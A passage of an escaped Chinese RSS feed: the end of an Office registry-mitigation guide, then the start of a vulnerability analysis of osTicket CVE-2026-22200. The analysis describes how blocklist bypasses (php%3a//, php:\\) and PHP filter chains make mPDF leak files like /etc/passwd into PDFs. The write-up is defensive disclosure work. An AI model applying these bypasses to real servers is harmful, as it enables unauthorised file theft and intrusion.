12px 10px; color: rgb(93, 64, 55); background: rgb(255, 251, 240); min-width: 85px; word-break: break-all;&quot;&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;64位Windows上的32位MSI&lt;/span&gt;&lt;/section&gt;&lt;/td&gt;&lt;td style=&quot;font-size: 16px;text-align: left;border: 1px solid #8D5B4C;padding: 12px 10px;color: #5D4037;background: #FFFBF0;min-width: 85px;&quot;&gt;&lt;code style=&quot;word-wrap: break-word;background-color: rgba(27,31,35,.05);word-break: break-all;color: #5D4037;background: #EFE6D5;border: none;padding: 2px 6px;margin: 0 4px;border-radius: 3px;font-size: 14px;font-family: serif;text-align:left;letter-spacing:0;word-spacing:0;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Office\16.0\Common\COM Compatibility\&lt;/span&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style=&quot;border: 0;border-top: 1px solid #ccc;background-color: #ffffff;&quot;&gt;&lt;td style=&quot;font-size: 16px;text-align: left;border: 1px solid #8D5B4C;padding: 12px 10px;color: #5D4037;background: #FFFBF0;min-width: 85px;&quot;&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;64位Click2Run/32位Windows上的32位Click2Run&lt;/span&gt;&lt;/section&gt;&lt;/td&gt;&lt;td style=&quot;font-size: 16px;text-align: left;border: 1px solid #8D5B4C;padding: 12px 10px;color: #5D4037;background: #FFFBF0;min-width: 85px;&quot;&gt;&lt;code style=&quot;word-wrap: break-word;background-color: rgba(27,31,35,.05);word-break: break-all;color: #5D4037;background: #EFE6D5;border: none;padding: 2px 6px;margin: 0 4px;border-radius: 3px;font-size: 14px;font-family: serif;text-align:left;letter-spacing:0;word-spacing:0;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Microsoft\Office\16.0\Common\COM Compatibility\&lt;/span&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style=&quot;border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;&quot;&gt;&lt;td style=&quot;font-size: 16px;text-align: left;border: 1px solid #8D5B4C;padding: 12px 10px;color: #5D4037;background: #FFFBF0;min-width: 85px;&quot;&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;64位Windows上的32位Click2Run&lt;/span&gt;&lt;/section&gt;&lt;/td&gt;&lt;td style=&quot;font-size: 16px;text-align: left;border: 1px solid #8D5B4C;padding: 12px 10px;color: #5D4037;background: #FFFBF0;min-width: 85px;&quot;&gt;&lt;code style=&quot;word-wrap: break-word;background-color: rgba(27,31,35,.05);word-break: break-all;color: #5D4037;background: #EFE6D5;border: none;padding: 2px 6px;margin: 0 4px;border-radius: 3px;font-size: 14px;font-family: serif;text-align:left;letter-spacing:0;word-spacing:0;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Office\16.0\Common\COM Compatibility\&lt;/span&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style=&quot;border: 0;border-top: 1px solid #ccc;background-color: #ffffff;&quot;&gt;&lt;td style=&quot;font-size: 16px;text-align: left;border: 1px solid #8D5B4C;padding: 12px 10px;color: #5D4037;background: #FFFBF0;min-width: 85px;&quot;&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;若没有&lt;/span&gt;&lt;code style=&quot;word-wrap: break-word;background-color: rgba(27,31,35,.05);word-break: break-all;color: #5D4037;background: #EFE6D5;border: none;padding: 2px 6px;margin: 0 4px;border-radius: 3px;font-size: 14px;font-family: serif;text-align:left;letter-spacing:0;word-spacing:0;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;COM Compatibility&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;项，右键&lt;/span&gt;&lt;code style=&quot;word-wrap: break-word;background-color: rgba(27,31,35,.05);word-break: break-all;color: #5D4037;background: #EFE6D5;border: none;padding: 2px 6px;margin: 0 4px;border-radius: 3px;font-size: 14px;font-family: serif;text-align:left;letter-spacing:0;word-spacing:0;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;Common&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;→新建→项，命名为&lt;/span&gt;&lt;code style=&quot;word-wrap: break-word;background-color: rgba(27,31,35,.05);word-break: break-all;color: #5D4037;background: #EFE6D5;border: none;padding: 2px 6px;margin: 0 4px;border-radius: 3px;font-size: 14px;font-family: serif;text-align:left;letter-spacing:0;word-spacing:0;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;COM Compatibility&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;；&lt;/span&gt;&lt;/section&gt;&lt;/td&gt;&lt;td style=&quot;font-size: 16px;text-align: left;border: 1px solid #8D5B4C;padding: 12px 10px;color: #5D4037;background: #FFFBF0;min-width: 85px;&quot;&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/section&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/section&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section style=&quot;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: #5D4037;font-weight: normal;font-size: 16px;&quot;&gt;&lt;p data-tool=&quot;WeMD编辑器&quot; style=&quot;margin: 0;margin-top: 26px;margin-bottom: 26px;line-height: 1.9;letter-spacing: 0.8px;text-align: justify;color: #5D4037;font-size: 16px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;右键&lt;/span&gt;&lt;code style=&quot;word-wrap: break-word;background-color: rgba(27,31,35,.05);word-break: break-all;color: #5D4037;background: #EFE6D5;border: none;padding: 2px 6px;margin: 0 4px;border-radius: 3px;font-size: 14px;font-family: serif;text-align:left;letter-spacing:0;word-spacing:0;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;COM Compatibility&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;→新建→项，命名为&lt;/span&gt;&lt;code style=&quot;word-wrap: break-word;background-color: rgba(27,31,35,.05);word-break: break-all;color: #5D4037;background: #EFE6D5;border: none;padding: 2px 6px;margin: 0 4px;border-radius: 3px;font-size: 14px;font-family: serif;text-align:left;letter-spacing:0;word-spacing:0;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;{EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B}&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;；&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section style=&quot;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: #5D4037;font-weight: normal;font-size: 16px;&quot;&gt;&lt;p data-tool=&quot;WeMD编辑器&quot; style=&quot;margin: 0;margin-top: 26px;margin-bottom: 26px;line-height: 1.9;letter-spacing: 0.8px;text-align: justify;color: #5D4037;font-size: 16px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;右键新项→新建→DWORD（32位）值，命名为&lt;/span&gt;&lt;code style=&quot;word-wrap: break-word;background-color: rgba(27,31,35,.05);word-break: break-all;color: #5D4037;background: #EFE6D5;border: none;padding: 2px 6px;margin: 0 4px;border-radius: 3px;font-size: 14px;font-family: serif;text-align:left;letter-spacing:0;word-spacing:0;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;Compatibility Flags&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;，值设为&lt;/span&gt;&lt;code style=&quot;word-wrap: break-word;background-color: rgba(27,31,35,.05);word-break: break-all;color: #5D4037;background: #EFE6D5;border: none;padding: 2px 6px;margin: 0 4px;border-radius: 3px;font-size: 14px;font-family: serif;text-align:left;letter-spacing:0;word-spacing:0;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;400&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;（十六进制）；&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section style=&quot;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: #5D4037;font-weight: normal;font-size: 16px;&quot;&gt;&lt;p data-tool=&quot;WeMD编辑器&quot; style=&quot;margin: 0;margin-top: 26px;margin-bottom: 26px;line-height: 1.9;letter-spacing: 0.8px;text-align: justify;color: #5D4037;font-size: 16px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;关闭注册表编辑器，重启Office应用，临时防护生效。&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/li&gt;&lt;/ol&gt;&lt;h2 data-tool=&quot;WeMD编辑器&quot; style=&quot;padding: 0px;font-weight: bold;color: #000000;font-size: 22px;margin-top: 50px;margin-bottom: 30px;text-align: left;&quot;&gt;&lt;span style=&quot;display: none;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;display: inline-block;font-size: 19px;font-weight: bold;color: #FFFBF0;background-color: #B33D25;padding: 8px 16px;border-radius: 2px;box-shadow: 4px 4px 0px rgba(179, 61, 37, 0.2);line-height: 1.2;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;额外防护：降低攻击风险的3个好习惯&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;display: none;&quot;&gt;&lt;/span&gt;&lt;/h2&gt;&lt;ol style=&quot;list-style-type: decimal;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;section style=&quot;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: #5D4037;font-weight: normal;font-size: 16px;&quot;&gt;&lt;strong style=&quot;color: #B33D25;font-weight: 900;margin: 0 2px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;拒绝陌生文档&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;：不打开来源不明的Word/Excel附件，尤其是“发票”“合同”等钓鱼文档；&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section style=&quot;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: #5D4037;font-weight: normal;font-size: 16px;&quot;&gt;&lt;strong style=&quot;color: #B33D25;font-weight: 900;margin: 0 2px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;启用宏阻止&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;：Office默认禁用宏，不要为陌生文档启用宏；&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section style=&quot;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: #5D4037;font-weight: normal;font-size: 16px;&quot;&gt;&lt;strong style=&quot;color: #B33D25;font-weight: 900;margin: 0 2px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;定期备份数据&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;：重要文件存到本地+云盘双备份，防止数据被篡改或加密。&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p data-tool=&quot;WeMD编辑器&quot; style=&quot;margin: 0;margin-top: 26px;margin-bottom: 26px;line-height: 1.9;letter-spacing: 0.8px;text-align: justify;color: #5D4037;font-size: 16px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;建议2016/2019用户尽快按指南修改注册表，同时关注微软官方公告，待正式补丁发布后立即安装；365与2021/2024用户也需重启Office，确保修复生效。&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;p style=&quot;display: none;&quot;&gt;&lt;mp-style-type data-value=&quot;3&quot;&gt;&lt;/mp-style-type&gt;&lt;/p&gt;</description><pubDate>Sat, 31 Jan 2026 13:01:39 +0800</pubDate></item><item><title>CVE-2026-22200：osTicket工单直通系统Shell的漏洞剖析</title><link>https://www.7x0.cn/post/20.html</link><description>&lt;p&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp; &amp;nbsp; Horizon3.ai的研究团队在流行的开源服务台系统osTicket中发现了一个受CTF启发、编号为CVE-2026-22200的安全漏洞。该漏洞允许匿名攻击者通过向工单中注入恶意的PHP过滤器链表达式，然后将工单导出为PDF文档，从而读取服务器上的任意文件。攻击者可以利用该漏洞窃取敏感文件（这些文件会以位图图像形式嵌入PDF中）；若结合利用CVE-2024-2961（亦称CNEXT），甚至可实现远程代码执行。&lt;/span&gt;&lt;strong&gt;&lt;span leaf=&quot;&quot;&gt;该问题已在osTicket 1.18.3 / 1.17.7版本中修复，研究团队强烈建议所有用户升级至最新版本。&lt;/span&gt;&lt;/strong&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2 data-tool=&quot;mdnice编辑器&quot; style=&quot;margin-top: 30px;margin-bottom: 15px;padding: 0px;font-size: 22px;text-align: center;font-weight: bold;color: black;line-height: 1.1em;padding-top: 12px;padding-bottom: 12px;margin: 70px 30px 30px;border: 1px solid #000;&quot;&gt;&lt;span style=&quot;float: left;display: block;width: 90%;border-top: 1px solid #000;height: 1px;line-height: 1px;margin-left: -5px;margin-top: -17px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;display: block;width: 3px;margin: 0 0 0 5%;height: 3px;line-height: 3px;overflow: hidden;background-color: #000;box-shadow: 3px 0 #000,
    0 3px #000,
    -3px 0 #000,
    0 -3px #000;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;display: block;-webkit-box-reflect: below 0em -webkit-gradient(linear,left top,left bottom, from(),to(rgba(255,255,255,0.1)));&quot;&gt;&lt;span leaf=&quot;&quot;&gt;背景&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;display: block;width: 3px;margin: 0 0 0 95%;height: 3px;line-height: 3px;overflow: hidden;background-color: #000;box-shadow: 3px 0 #000,
    0 3px #000,
    -3px 0 #000,
    0 -3px #000;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;float: right;display: block;width: 90%;border-bottom: 1px solid #000;height: 1px;line-height: 1px;margin-right: -5px;margin-top: 16px;&quot;&gt;&lt;/span&gt;&lt;/h2&gt;&lt;figure data-tool=&quot;mdnice编辑器&quot; style=&quot;margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;img src=&quot;https://www.7x0.cn/zb_users/upload/2026/01/20260131130101176983566169907.png&quot; referrerpolicy=&quot;no-referrer&quot; alt=&quot;osTicket界面&quot; class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-w=&quot;1024&quot; style=&quot;display: block;max-width: 100%;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;border-radius: 4px;margin-top: 10px;margin: 0px;&quot; data-imgfileid=&quot;502779362&quot; data-aistatus=&quot;1&quot;/&gt;&lt;/span&gt;&lt;figcaption style=&quot;text-align: center;font-size: 12px;display: flex;justify-content: center;align-items: center;width: 100%;margin-top: -35px;background: rgba(0,0,0,0.7);color: white;line-height: 35px;z-index: 20;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;osTicket界面&lt;/span&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;p data-tool=&quot;mdnice编辑器&quot; style=&quot;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;osTicket是一款广受欢迎的开源服务台系统，常被寻求轻量级、自托管支持解决方案的组织采用。Horizon3.ai的研究人员经常在SLED（州、地方及教育）部门以及其他中端市场至中小型企业环境中发现其部署。由于其数千个实例暴露在互联网上，且更多实例部署于内网，该系统的攻击面相当可观。&lt;/span&gt;&lt;/p&gt;&lt;p data-tool=&quot;mdnice编辑器&quot; style=&quot;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;工单系统通常是攻击者的高价值目标，它们通常包含令牌或凭据等敏感信息，并可能成为攻击者横向移动进入内部网络的跳板。近期在野被利用的工单系统漏洞包括影响SolarWinds Web Help Desk的CVE-2024-28986/CVE-2024-28987和影响SysAid的CVE-2025-2775/CVE-2025-2776。&lt;/span&gt;&lt;/p&gt;&lt;p data-tool=&quot;mdnice编辑器&quot; style=&quot;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;从架构上看，osTicket是一个老派的PHP应用程序，最初于2003年发布，已接受过包括SonarSource、Checkmarx在内的多方深入研究。尽管如此，研究人员在梳理代码库时，发现该应用对老旧第三方库的依赖值得进一步探索。结合PHP过滤器链利用技术的最新进展，他们决定从新的视角审视其安全性。&lt;/span&gt;&lt;/p&gt;&lt;h2 data-tool=&quot;mdnice编辑器&quot; style=&quot;margin-top: 30px;margin-bottom: 15px;padding: 0px;font-size: 22px;text-align: center;font-weight: bold;color: black;line-height: 1.1em;padding-top: 12px;padding-bottom: 12px;margin: 70px 30px 30px;border: 1px solid #000;&quot;&gt;&lt;span style=&quot;float: left;display: block;width: 90%;border-top: 1px solid #000;height: 1px;line-height: 1px;margin-left: -5px;margin-top: -17px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;display: block;width: 3px;margin: 0 0 0 5%;height: 3px;line-height: 3px;overflow: hidden;background-color: #000;box-shadow: 3px 0 #000,
    0 3px #000,
    -3px 0 #000,
    0 -3px #000;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;display: block;-webkit-box-reflect: below 0em -webkit-gradient(linear,left top,left bottom, from(),to(rgba(255,255,255,0.1)));&quot;&gt;&lt;span leaf=&quot;&quot;&gt;漏洞详解&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;display: block;width: 3px;margin: 0 0 0 95%;height: 3px;line-height: 3px;overflow: hidden;background-color: #000;box-shadow: 3px 0 #000,
    0 3px #000,
    -3px 0 #000,
    0 -3px #000;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;float: right;display: block;width: 90%;border-bottom: 1px solid #000;height: 1px;line-height: 1px;margin-right: -5px;margin-top: 16px;&quot;&gt;&lt;/span&gt;&lt;/h2&gt;&lt;h3 data-tool=&quot;mdnice编辑器&quot; style=&quot;margin-top: 30px;margin-bottom: 15px;font-weight: bold;background-color: #000;color: #fff;padding: 2px 10px;width: fit-content;font-size: 17px;margin: 60px auto 10px;&quot;&gt;&lt;span style=&quot;display: none;&quot;&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;从汇点入手：mPDF库&lt;/span&gt;&lt;span style=&quot;display: none;&quot;&gt;&lt;/span&gt;&lt;/h3&gt;&lt;p data-tool=&quot;mdnice编辑器&quot; style=&quot;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;研究团队首先分析了mPDF，这是osTicket用于将支持工单生成为PDF文档的第三方PHP库。任何被授权查看工单的用户均可使用此功能，若服务台配置为允许访客访问工单（此为默认设置），则未认证的访客亦可使用。&lt;/span&gt;&lt;/p&gt;&lt;p data-tool=&quot;mdnice编辑器&quot; style=&quot;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;PDF库因其需要衔接HTML/CSS与PDF这两种复杂格式而著称。将这些库集成到应用中时，一个常见的故障点是对外部资源（如图片、样式表）的处理。在将URL或本地文件路径传递给PDF生成器之前，调用应用需对其进行何种程度的净化往往不明确；且生成器本身也可能存在缺陷，这可能导致服务器端请求伪造或本地文件读取漏洞。&lt;/span&gt;&lt;/p&gt;&lt;p data-tool=&quot;mdnice编辑器&quot; style=&quot;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;在研究mPDF时，研究人员偶然发现了一个来自HITCON CTF 2022、由@_splitline_提出的相关且有趣的CTF挑战web2pdf。该挑战探讨了如何利用mPDF读取任意本地文件，所用的HTML片段非常简单：&lt;/span&gt;&lt;/p&gt;&lt;pre data-tool=&quot;mdnice编辑器&quot; style=&quot;margin-top: 10px;margin-bottom: 10px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;max-width: 100%;border-radius: 4px;margin: 10px auto 0 auto;&quot;&gt;&amp;lt;img&amp;nbsp;src=&amp;quot;&amp;lt;malicious_url&amp;gt;&amp;quot;&amp;nbsp;/&amp;gt;&lt;/pre&gt;&lt;p data-tool=&quot;mdnice编辑器&quot; style=&quot;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;解决该挑战的技巧主要有两点：&lt;/span&gt;&lt;/p&gt;&lt;ul style=&quot;list-style-type: square;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;section style=&quot;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;&quot;&gt;&lt;strong style=&quot;font-weight: bold;color: black;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;路径规范化绕过&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;： mPDF试图将&lt;/span&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;phar://&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;和&lt;/span&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;php://&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;等危险的URI方案列入黑名单。然而，该库的路径处理中存在一个错误，允许攻击者使用&lt;/span&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;php:\\&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;或&lt;/span&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;./php://&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;等变体路径绕过此检查。问题在于，mPDF是在&lt;/span&gt;&lt;strong style=&quot;font-weight: bold;color: black;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;规范化之前&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;依据流包装器黑名单检查URL的。此Bug在mPDF的最新版本中依然存在。&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section style=&quot;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;&quot;&gt;&lt;strong style=&quot;font-weight: bold;color: black;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;PHP过滤器魔法&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;： 为了绕过mPDF的图像验证，攻击者需使用PHP过滤器链在任意文件内容前添加一个有效的位图（BMP）文件头。这使得mPDF误将任意文件（如&lt;/span&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;/etc/passwd&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;）作为有效图像渲染到PDF中。随后，敏感数据可以从PDF中的位图提取出来。&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p data-tool=&quot;mdnice编辑器&quot; style=&quot;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;BMP技巧尤为实用，因为它允许攻击者单次高效地窃取文件内容，而无需采用速度较慢的基于错误的预言机方法。&lt;/span&gt;&lt;/p&gt;&lt;h3 data-tool=&quot;mdnice编辑器&quot; style=&quot;margin-top: 30px;margin-bottom: 15px;font-weight: bold;background-color: #000;color: #fff;padding: 2px 10px;width: fit-content;font-size: 17px;margin: 60px auto 10px;&quot;&gt;&lt;span style=&quot;display: none;&quot;&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;第一个障碍：不同版本的mPDF&lt;/span&gt;&lt;span style=&quot;display: none;&quot;&gt;&lt;/span&gt;&lt;/h3&gt;&lt;p data-tool=&quot;mdnice编辑器&quot; style=&quot;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;在尝试将CTF解决方案应用于osTicket时，研究团队遇到的第一个障碍是，osTicket使用的是2019年前后的一个非常旧的mPDF版本。web2pdf挑战中使用的规范化绕过方法，在该版本中并不存在。&lt;/span&gt;&lt;/p&gt;&lt;p data-tool=&quot;mdnice编辑器&quot; style=&quot;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;然而，他们发现了另一种涉及URL编码的绕过方法。像&lt;/span&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;php%3a//&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;这样的URL编码流包装器可以绕过流包装器黑名单检查。这是因为旧版mPDF中的逻辑是：先依据流包装器黑名单检查本地资源，&lt;/span&gt;&lt;strong style=&quot;font-weight: bold;color: black;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;之后&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;才对其进行URL解码，然后才进行访问。&lt;/span&gt;&lt;/p&gt;&lt;figure data-tool=&quot;mdnice编辑器&quot; style=&quot;margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;img src=&quot;https://www.7x0.cn/zb_users/upload/2026/01/20260131130101176983566153115.png&quot; referrerpolicy=&quot;no-referrer&quot; alt=&quot;mPDF旧版本中URL解码逻辑的位置&quot; class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-w=&quot;1024&quot; style=&quot;display: block;max-width: 100%;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;border-radius: 4px;margin-top: 10px;margin: 0px;&quot; data-imgfileid=&quot;502779361&quot; data-aistatus=&quot;1&quot;/&gt;&lt;/span&gt;&lt;figcaption style=&quot;text-align: center;font-size: 12px;display: flex;justify-content: center;align-items: center;width: 100%;margin-top: -35px;background: rgba(0,0,0,0.7);color: white;line-height: 35px;z-index: 20;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;mPDF旧版本中URL解码逻辑的位置&lt;/span&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;p data-tool=&quot;mdnice编辑器&quot; style=&quot;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;解码后的资源随后通过&lt;/span&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;file_get_contents&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;函数访问：&lt;/span&gt;&lt;/p&gt;&lt;figure data-tool=&quot;mdnice编辑器&quot; style=&quot;margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;img src=&quot;https://www.7x0.cn/zb_users/upload/2026/01/20260131130102176983566233623.png&quot; referrerpolicy=&quot;no-referrer&quot; alt=&quot;使用file_get_contents访问解码后的资源&quot; class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-w=&quot;1024&quot; style=&quot;display: block;max-width: 100%;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;border-radius: 4px;margin-top: 10px;margin: 0px;&quot; data-imgfileid=&quot;502779359&quot; data-aistatus=&quot;1&quot;/&gt;&lt;/span&gt;&lt;figcaption style=&quot;text-align: 